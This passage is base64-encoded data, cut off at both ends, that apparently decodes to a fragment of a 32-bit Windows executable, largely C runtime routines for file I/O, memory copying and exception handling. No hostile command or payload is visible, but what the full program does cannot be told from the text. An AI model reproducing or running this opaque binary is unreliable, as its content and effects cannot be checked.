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+EwA+FZwEAAIoLi7Uo5f//M8CA+QoPlMCJhSDl//+LBgPHg3g4AHQVilA0iFX0iE31g2A4AGoCjUX0UOtLD77BUOguMAAAWYXAdDqLjTTl//8rywNNEDPAQDvID4alAQAAagKNhUDl//9TUOiyLwAAg8QMg/j/D4SxBAAAQ/+FROX//+sbagFTjYVA5f//UOiOLwAAg8QMg/j/D4SNBAAAM8BQUGoFjU30UWoBjY1A5f//UVD/tRzl//9D/4VE5f///xVw4EAAi/CF9g+EXAQAAGoAjYU85f//UFaNRfRQi4Uo5f//iwD/NAf/FWzgQACFwA+EKQQAAIuFROX//4uNMOX//wPBObU85f//iYU45f//D4wVBAAAg70g5f//AA+EzQAAAGoAjYU85f//UGoBjUX0UIuFKOX//4sAxkX0Df80B/8VbOBAAIXAD4TQAwAAg7085f//AQ+MzwMAAP+FMOX///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyWaD/goPlMFDQ4OFROX//wKJtUDl//+JjSDl//88AXQEPAJ1Uv+1QOX//+gRUwAAWWY7hUDl//8PhWgDAACDhTjl//8Cg70g5f//AHQpag1YUImFQOX//+jkUgAAWWY7hUDl//8PhTsDAAD/hTjl////hTDl//+LRRA5hUTl//8Pgvn9///pJwMAAIsOihP/hTjl//+IVA80iw6JRA846Q4DAAAzyYsGA8f2QASAD4S/AgAAi4U05f//iY1A5f//hNsPhcoAAACJhTzl//85TRAPhiADAADrBou1KOX//4uNPOX//4OlROX//wArjTTl//+NhUjl//87TRBzOYuVPOX///+FPOX//4oSQYD6CnUQ/4Uw5f//xgANQP+FROX//4gQQP+FROX//4G9ROX///8TAABywovYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xVs4EAAhcAPhEICAACLhSzl//8BhTjl//87ww+MOgIAAIuFPOX//yuFNOX//ztFEA+CTP///+kgAgAAiYVE5f//gPsCD4XRAAAAOU0QD4ZNAgAA6waLtSjl//+LjUTl//+DpTzl//8AK4005f//jYVI5f//O00Qc0aLlUTl//+DhUTl//8CD7cSQUFmg/oKdRaDhTDl//8Cag1bZokYQECDhTzl//8Cg4U85f//AmaJEEBAgb085f///hMAAHK1i9iNhUjl//8r2GoAjYUs5f//UFONhUjl//9Qiwb/NAf/FWzgQACFwA+EYgEAAIuFLOX//wGFOOX//zvDD4xaAQAAi4VE5f//K4U05f//O0UQD4I/////6UABAAA5TRAPhnwBAACLjUTl//+DpTzl//8AK4005f//agKNhUj5//9eO00QczyLlUTl//8PtxIBtUTl//8DzmaD+gp1DmoNW2aJGAPGAbU85f//AbU85f//ZokQA8aBvTzl//+oBgAAcr8z9lZWaFUNAACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FXDgQACL2DveD4SXAAAAagCNhSzl//9Qi8MrxlCNhDXw6///UIuFKOX//4sA/zQH/xVs4EAAhcB0DAO1LOX//zvef8vrDP8VGOBAAImFQOX//zvef1yLhUTl//8rhTTl//+JhTjl//87RRAPggr////rP2oAjY0s5f//Uf91EP+1NOX///8w/xVs4EAAhcB0FYuFLOX//4OlQOX//wCJhTjl///rDP8VGOBAAImFQOX//4O9OOX//wB1bIO9QOX//wB0LWoFXjm1QOX//3UU6D7c///HAAkAAADoRtz//4kw6z//tUDl///oStz//1nrMYu1KOX//4sG9kQHBEB0D4uFNOX//4A4GnUEM8DrJOj+2///xwAcAAAA6Abc//+DIACDyP/rDIuFOOX//yuFMOX//19bi038M81e6BXN///Jw2oQaOD6QADo4+f//4tFCIP4/nUb6Mrb//+DIADor9v//8cACQAAAIPI/+mdAAAAM/87x3wIOwWIK0EAciHoodv//4k46Ifb///HAAkAAABXV1dXV+gP2///g8QU68mLyMH5BY0cjaArQQCL8IPmH8HmBosLD75MMQSD4QF0v1DolEkAAFmJffyLA/ZEMAQBdBb/dRD/dQz/dQjoLvj//4PEDIlF5OsW6CTb///HAAkAAADoLNv//4k4g03k/8dF/P7////oCQAAAItF5Ohj5///w/91COjeSQAAWcPMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgqQBAACB+QABAAByH4M9fCtBAAB0FldWg+cPg+YPO/5eX3UIXl9d6VtPAAD3xwMAAAB1FcHpAoPiA4P5CHIq86X/JJUETkAAkIvHugMAAACD6QRyDIPgAwPI/ySFGE1AAP8kjRROQACQ/ySNmE1AAJAoTUAAVE1AAHhNQAAj0YoGiAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVBE5AAI1JACPRigaIB4pGAcHpAohHAYPGAoPHAoP5CHKm86X/JJUETkAAkCPRigaIB4PGAcHpAoPHAYP5CHKI86X/JJUETkAAjUkA+01AAOhNQADgTUAA2E1AANBNQADITUAAwE1AALhNQACLRI7kiUSP5ItEjuiJRI/oi0SO7IlEj+yLRI7wiUSP8ItEjvSJRI/0i0SO+IlEj/iLRI78iUSP/I0EjQAAAAAD8AP4/ySVBE5AAIv/FE5AABxOQAAoTkAAPE5AAItFCF5fycOQigaIB4tFCF5fycOQigaIB4pGAYhHAYtFCF5fycONSQCKBogHikYBiEcBikYCiEcCi0UIXl/Jw5CNdDH8jXw5/PfHAwAAAHUkwekCg+IDg/kIcg3986X8/ySVoE9AAIv/99n/JI1QT0AAjUkAi8e6AwAAAIP5BHIMg+ADK8j/JIWkTkAA/ySNoE9AAJC0TkAA2E5AAABPQACKRgMj0YhHA4PuAcHpAoPvAYP5CHKy/fOl/P8klaBPQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKI/fOl/P8klaBPQACQikYDI9GIRwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglb////986X8/ySVoE9AAI1JAFRPQABcT0AAZE9AAGxPQAB0T0AAfE9AAIRPQACXT0AAi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlEjxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klaBPQACL/7BPQAC4T0AAyE9AANxPQACLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpGA4hHA4pGAohHAopGAYhHAYtFCF5fycNqDGgA+0AA6Jvj//+LdQiF9nR1gz2EK0EAA3VDagToZzcAAFmDZfwAVujyTAAAWYlF5IXAdAlWUOgWTQAAWVnHRfz+////6AsAAACDfeQAdTf/dQjrCmoE6FM2AABZw1ZqAP81pChBAP8VfOBAAIXAdRboEdf//4vw/xUY4EAAUOjB1v//iQZZ6F/j///Di/9Vi+xWi3UIV1bou0QAAFmD+P90UKGgK0EAg/4BdQn2gIQAAAABdQuD/gJ1HPZARAF0FmoC6JBEAABqAYv46IdEAABZWTvHdBxW6HtEAABZUP8VJOBAAIXAdQr/FRjgQACL+OsCM/9W6NdDAACLxsH4BYsEhaArQQCD5h/B5gZZxkQwBACF/3QMV+iQ1v//WYPI/+sCM8BfXl3DahBoIPtAAOhx4v//i0UIg/j+dRvoWNb//4MgAOg91v//xwAJAAAAg8j/6Y4AAAAz/zvHfAg7BYgrQQByIegv1v//iTjoFdb//8cACQAAAFdXV1dX6J3V//+DxBTryYvIwfkFjRyNoCtBAIvwg+YfweYGiwsPvkwxBIPhAXS/UOgiRAAAWYl9/IsD9kQwBAF0Dv91COjL/v//WYlF5OsP6LrV///HAAkAAACDTeT/x0X8/v///+gJAA